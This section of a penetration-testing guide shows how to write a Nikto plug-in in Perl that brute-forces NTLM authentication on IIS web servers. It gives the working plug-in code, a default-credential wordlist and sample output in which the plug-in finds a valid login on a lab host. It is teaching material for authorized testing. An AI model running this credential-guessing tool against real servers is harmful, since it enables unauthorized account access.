4.7. Writing an NTLM Plug-in for Brute-Force Testing
Brute-forcing is the common
attack technique of
repeatedly guessing credentials to authenticate to a remote server.
Now that we've covered the basics of what is
available for plug-in developers, it's time to
create an example plug-in that you can use in a real-life
network-penetration test scenario.
Installations of Microsoft's IIS web server are
widely deployed. IIS supports two common authentication schemes. The
first is
Basic
authentication, which is a nonencrypted legacy form of authentication
to a restricted area (the restricted area is known as a
realm). The second is
NTLM (NT Lan Man) authentication. NTLM
authenticates against existing credentials on the Windows operating
system. Our new plug-in, named nikto_ntlm.plugin,
guesses credentials against this form of authentication. A possible
attack strategy would be to guess NTLM credentials to the domain, and
then use these credentials to access another available remote
administrationi.e., Terminal Server. The benefit of this
strategy is that with NTLM authentication over HTTP you can guess
credentials faster than you can with Terminal Server. (In either case
it is important to consider account lockout policies.)
First, comment out routines that generate significant traffic. This
lets you focus on the specific plug-in when looking through logs and
network sniffers during testing. Starting from line 100, our new
nikto.pl file that is to be used for plug-in
development will look like this:
dump_target_info( );
#check_responses( );
run_plugins( );
#check_cgi( );
#set_scan_items( );
#test_target( );
Our new nikto_plugin_order.txt file for plug-in
development will look like this:
#VERSION,1.04
#LASTMOD,05.27.2003
# run the plug-ins in the following order
nikto_ntlm
Now we're ready to code the new plug-in. This
plug-in's algorithm is similar to the one found in
the nikto_realms plug-in, so
we'll use this as a model. First, the plug-in should
check to see if it's useful for a particular target.
Using fetch automatically fills the LibWhisker
request hash with the current target host. Nikto will take care of
running the plug-in if the user specifies multiple targets. Note the
use of $CLI{root} because this comes into play if
the user is using the -root
command-line option.
sub nikto_ntlm{
(my $result, my $CONTENT) = fetch("/$CLI{root}/","GET","");
if (($result{'www-authenticate'} eq "") ||
($result{'www-authenticate'} !~ /^ntlm/i)){
#we don't do anything for these cases
return;
}
my @CREDS=load_creds("$NIKTO{plugindir}/ntlm.db");
Next, the CREDS array is populated from the
results of load_creds(
),
which is defined outside of nikto_ntlm( ). The
load_creds( ) routine parses the
ntlm.db file and returns an array of arrays
containing the credentials that will be used:
sub load_creds{
my @CREDS;
my $FILE=shift;
open(IN,"<$FILE") || die nprint("Can't open $FILE:$!");
my @contents=<IN>;
close(IN);
foreach my $line (@contents) {
chomp($line);
if ($line =~ /^\#/) { next; }
if ($line =~ /\#/) { $line=~s/\#.*$//; $line=~s/\s+$//; }
if ($line eq "") { next; }
my @t=parse_csv($line);
if($#t == 1){
push(@CREDS,[$t[0],$t[1],undef]);
nprint("Loaded: $t[0] -- $t[1]","d");
}elsif($#t == 2){
push(@CREDS,[@t]);
nprint("Loaded: $t[2]\\$t[0] -- $t[1]","d");
}else{
nprint("Parse error in ntlm.db[".join(",",@t)."]");
}
}
return @CREDS;
}
As you do with other plug-ins, you need an easy way to store and edit
the input data for the plug-in, and a typical Nikto database file
fits this purpose well. The format for our initial test
ntlm.db
file is as follows:
#VERSION,1.00
#LASTMOD,07.01.2004
###########################################
# format: <Username>,<Password>,[NT Domain]
###########################################
"admin","admin","TESTDOMAIN"
"administrator","administrator"
"guest","guest"
"test","test"
"testuser","testpass"
"backup","backup"
Now it's time to code the main loop, which will
conduct a dictionary-style attack by
iterating through the CREDS array and attempting to authenticate with
the values from CREDS until it finds a working set of credentials:
foreach my $i (0 .. $#CREDS){
nprint("+ trying $CREDS[$i][0] -- $CREDS[$i][1]","v");
LW::auth_set_header("NTLM",\%request,$CREDS[$i][0],$CREDS[$i][1]); # set NTLM auth creds
LW::http_fixup_request(\%request);
LW::http_do_request(\%request,\%result); # test auth
if ($result{'www-authenticate'} eq ""){#found valid credentials
$VULS++; #increment nikto's global "vulnerabilities found" counter
if($CREDS[$i][2]){
nprint("+ NTLM Auth account found user:$CREDS[$i][2]\\$CREDS[$i][0] pass:$CREDS[$i][1]");
}else{
nprint("+ NTLM Auth account found user:$CREDS[$i][0] pass:$CREDS[$i][1]");
}
last;
}
}#end foreach
return;
}1;
When finished, save the file as
nikto_ntlm.plugin in the
plugins/ directory. Now let's
try it out on an example IIS 5.0 server. The output in the following
paragraphs is from a server previously scanned with a standard Nikto
scan. Nikto reported the "backup"
directory as being protected by NTLM authentication. Now try the
plug-in using our slightly modified version of Nikto for testing.
C:\tools\nikto_1.32_test>perl nikto.pl -h 10.1.1.12 -root /backup -verbose
-***** SSL support not available (see docs for SSL install instructions) *****
---------------------------------------------------------------------------
- Nikto 1.32/1.19 - www.cirt.net
V: - Testing open ports for web servers
V: - Checking for HTTP on port 10.1.1.12:80
+ Target IP: 10.1.1.12
+ Target Hostname: 10.1.1.12
+ Target Port: 80
+ Start Time: Sun Aug 15 21:55:22 2004
---------------------------------------------------------------------------
- Scan is dependent on "Server" string which can be faked, use -g to override
+ Server: Microsoft-IIS/5.0
V: + trying admin -- admin
V: + trying administrator -- administrator
V: + trying guest -- guest
V: + trying test -- test
V: + trying testuser -- testpass
V: + trying backup -- backup
+ NTLM Auth account found user:backup pass:backup
+ 1 host(s) tested
Great! Everything seems to work as expected. To use this plug-in as
part of the standard Nikto run, uncomment the lines in
nikto.pl and revert the plug-in order file,
making sure to leave the line for the new plug-in. The plug-in will
run only if NTLM authentication is enabled on the web server because
a check was added at the top to verify this before the main
brute-forcing routine.
|